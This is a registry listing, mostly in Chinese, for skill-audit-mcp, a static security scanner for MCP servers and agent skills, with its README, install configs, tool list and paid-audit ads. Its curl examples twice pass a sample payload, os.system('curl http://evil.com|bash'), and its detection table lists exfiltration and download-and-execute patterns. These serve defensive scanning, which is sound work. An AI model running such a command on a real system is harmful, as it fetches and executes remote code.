Skill Audit Mcp

io.github.eltociear由 GitHub 帳號 eltociear 發布v1.2.0更新於 Oct 24, 2026

MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.

發布方自己的服務:audit.domains - Domain Valuation

已驗證Streamable HTTP可網頁執行位置與生活網頁搜尋與抓取安全與監控

概覽

AI 產生的概覽

靜態安全掃描器,讓助理檢查 MCP 伺服器、代理技能與外掛中的惡意行為,另附地名、地震、假日等免費查詢工具。

可以做什麼
掃描貼上的文字或抓取的網址,辨識憑證外洩、下載並執行、提示注入、助記詞蒐集等惡意模式,並給出嚴重等級與風險評分(audit_skill_text、audit_skill_url)。列出營運方的付費 API 路由與價格(paid_catalogue)。查詢地點:地名轉座標、海拔、空氣品質與國定假日。查詢公開資料:USGS 近期地震與世界銀行國家指標。搜尋即時網頁,並把網址抓取為乾淨的 Markdown。
適用情境
適合在載入陌生的 MCP 伺服器、技能或外掛之前先做檢查,或在審查流程中讓助理評估第三方程式碼的風險行為。查詢與搜尋工具屬於附帶功能,可用於地點、災害、假日與國家統計類問題。
執行需求
可作為遠端 streamable HTTP 端點執行,也可作為本機程序執行(Python 3.8+ 標準函式庫,或透過 stdio 使用已發布的容器映像)。未宣告驗證、環境變數或標頭。網頁搜尋、讀取網址與公開資料來源需要網路存取。
安裝前請注意
掃描採樣式比對,可能誤報,結果需人工複核。audit_skill_url 與 read_url 會抓取任意網址。此伺服器另外宣傳以 Base 上 USDC 支付的 x402 付費路由與付費稽核服務;MCP 工具據稱免費,但付款前請先確認。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 Skill Audit Mcp,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Web executable,透過 Streamable HTTP。 遠端服務在工作區中設定後即可從網頁執行環境執行。

交給代理程式安裝

把這段提示詞貼上到 Claude Code、Codex、Cursor 等代理程式,或 SourceWeft 對話中。代理程式會讀取該伺服器的安裝指南,先向你展示發布者、端點和登入方式,經你同意後再把它新增到你的客戶端。金鑰不會寫進任何命令。

閱讀 https://sourceweft.com/mcp/io.github.eltociear%2Fskill-audit-mcp/install.md,並按其中說明把這個 MCP 伺服器接入我的客戶端。修改任何設定之前,先告訴我它的發布者、端點和登入方式,等我確認。不要把 API 金鑰寫進命令或我會提交的檔案;問我金鑰應從哪裡取得。

檢視代理程式所依據的安裝指南

其他 MCP 客戶端

把它新增到你客戶端的 mcpServers 設定中。

{
  "mcpServers": {
    "skill-audit": {
      "type": "http",
      "url": "https://eltociear-skill-audit.hf.space/mcp"
    }
  }
}

README

skill-audit-mcp

[smithery badge] [MCP Registry]

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

[Glama MCP server] [GitHub Action] [Docker] [License: MIT] [Attack patterns] [Scanned]

⚡ Try it in 30 seconds

bash
# Option A: Docker (zero install, works anywhere)docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work
# Option B: Hosted API (pay-per-scan, no signup)curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

yaml
name: MCP Security Auditon: [pull_request]
jobs:  audit:    runs-on: ubuntu-latest    steps:      - uses: actions/checkout@v4      - uses: eltociear/skill-audit-mcp@v1        with:          path: '.'          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

yaml
      - uses: eltociear/skill-audit-mcp@v1        with:          path: '.'          sarif: 'results.sarif'      - uses: github/codeql-action/upload-sarif@v3        if: always()        with:          sarif_file: 'results.sarif'

2. CLI

Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)

bash
git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcpcd skill-audit-mcp
python3 cli.py --path ./server.py                  # scan a filepython3 cli.py --path ./some-skill/                # scan a directorypython3 cli.py --path . --json                     # JSON outputpython3 cli.py --path . --sarif results.sarif      # SARIF outputpython3 cli.py --path . --fail-on HIGH             # exit 1 on HIGH or CRITICAL

Findings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

json
{  "skill-audit-mcp": {    "type": "stdio",    "command": "python3",    "args": ["path/to/scanner.py"]  }}

Then ask Claude: "Audit this MCP server for security issues"

What it detects

SeverityPatterns
CRITICALDownload & execute (incl. base64 -d | sh), credential exfiltration (incl. a secret file handed to curl/nc), key generation, sensitive directory write, seed phrase harvesting
HIGHArbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection
MEDIUMPrivilege escalation (world-writable modes, elevated-access requests), obfuscation
INFOExternal downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored

Risk scoring

The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.

Sister project — secrets-audit-mcp

For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.

LayerServerDetects
Behaviorsskill-audit-mcp (this)curl-pipe-sh, prompt injection, exfiltration (17 patterns)
Secretssecrets-audit-mcpleaked keys/tokens/PEMs (32 rules)

Run both for full coverage.

4. Docker (offline, multi-arch)

Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.

bash
# Scan the current directory, fail on HIGH or higherdocker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \  --path /work --min-severity MEDIUM --fail-on HIGH
# Get SARIF for upload to GitHub Code Scanningdocker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \  --path /work --sarif-output /work/audit.sarif

5. Hosted API (x402 pay-per-scan)

No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.

bash
curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Or by URL:curl -X POST https://eltociear-skill-audit.hf.space/audit \  -H "Content-Type: application/json" \  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.

6. pre-commit hook

Add to your .pre-commit-config.yaml:

yaml
repos:  - repo: https://github.com/eltociear/skill-audit-mcp    rev: v1.2.0    hooks:      - id: skill-audit-mcp

Hire me for an audit

Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:

TierPriceDeliverable
Spot scan$500Full repo scan + 1-page risk report with prioritized fixes
Standard$2,000Manual review + PoC for HIGH/CRITICAL findings + remediation PR
Engagement$5,000+Pentest, threat model, retest after fixes, 30-day Slack support

Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).

Email: [email protected] (subject: "MCP audit")

Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.

Sponsors

If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:

Security

Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.

Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.

Star history

[Star History Chart]

License

MIT

Free MCP vs paid x402

This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.

Also hosted on the Apify Store (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.

Professional audit services

Maintained by the same author — paid services on Polar (Stripe checkout):

Full catalog: polar.sh/eltociear

Also live: clean-read ($0.005 / call)

Same operator, same x402 rails: clean-read turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.

來源:README.md,提交 498bb38

工具

11

paid_catalogue

List the paid API routes this same server offers, with prices and which ones need no input. The MCP tools here are free and general-purpose; the paid routes are specialised (on-chain token safety, live DEX prices, wallet intel, supply-chain scans). Payment is x402 over USDC on Base — no account or API key. Takes no arguments.

無需輸入參數。

air_quality

Current air quality for a place: PM2.5, PM10, ozone, NO2, SO2, CO and dust, plus the US and European AQI and the US AQI band ('Good', 'Unhealthy'). Takes a place name — no coordinates needed. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

輸入參數location必填

geocode

Resolve a place name to coordinates, country, admin region, timezone, elevation and population. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

輸入參數name必填count

earthquakes

Recent earthquakes from the USGS feed — worldwide, or within a radius of a named place. Returns magnitude, depth, tsunami flag and felt reports. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

輸入參數dayslimitlocationradius_kmmin_magnitude

public_holidays

Public holidays for a country and year, with local names and a past/upcoming flag. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

輸入參數yearcountry必填

country_indicator

World Bank time series for a country: gdp, gdp_per_capita, population, inflation, unemployment, life_expectancy, co2_per_capita or internet_users. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

輸入參數yearscountry必填indicator

elevation

Ground elevation in metres for a place name. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

輸入參數location必填

read_url

Fetch a URL and return its main content as clean Markdown, boilerplate stripped. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)

輸入參數url必填

audit_skill_text

Scan text — an agent skill, MCP server source, or plugin — for malicious behaviour before loading it. 17 attack patterns / 65 regex signatures across 4 severity levels — credential exfiltration, download-and-execute, prompt injection, command execution, seed-phrase harvesting and more.

輸入參數content必填

audit_skill_url

Fetch a URL and scan what it serves for malicious behaviour. 17 attack patterns / 65 regex signatures across 4 severity levels — credential exfiltration, download-and-execute, prompt injection, command execution, seed-phrase harvesting and more.

輸入參數url必填

版本歷史

2
  1. v1.2.0最新Sep 30, 2026
  2. v1.1.0Sep 16, 2026

評分

已滿足適用檢查項的 100%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通必需25 分
  • 已宣告認證方式必需10 分
  • 已列出工具必需15 分
  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分

其他 Audit 整合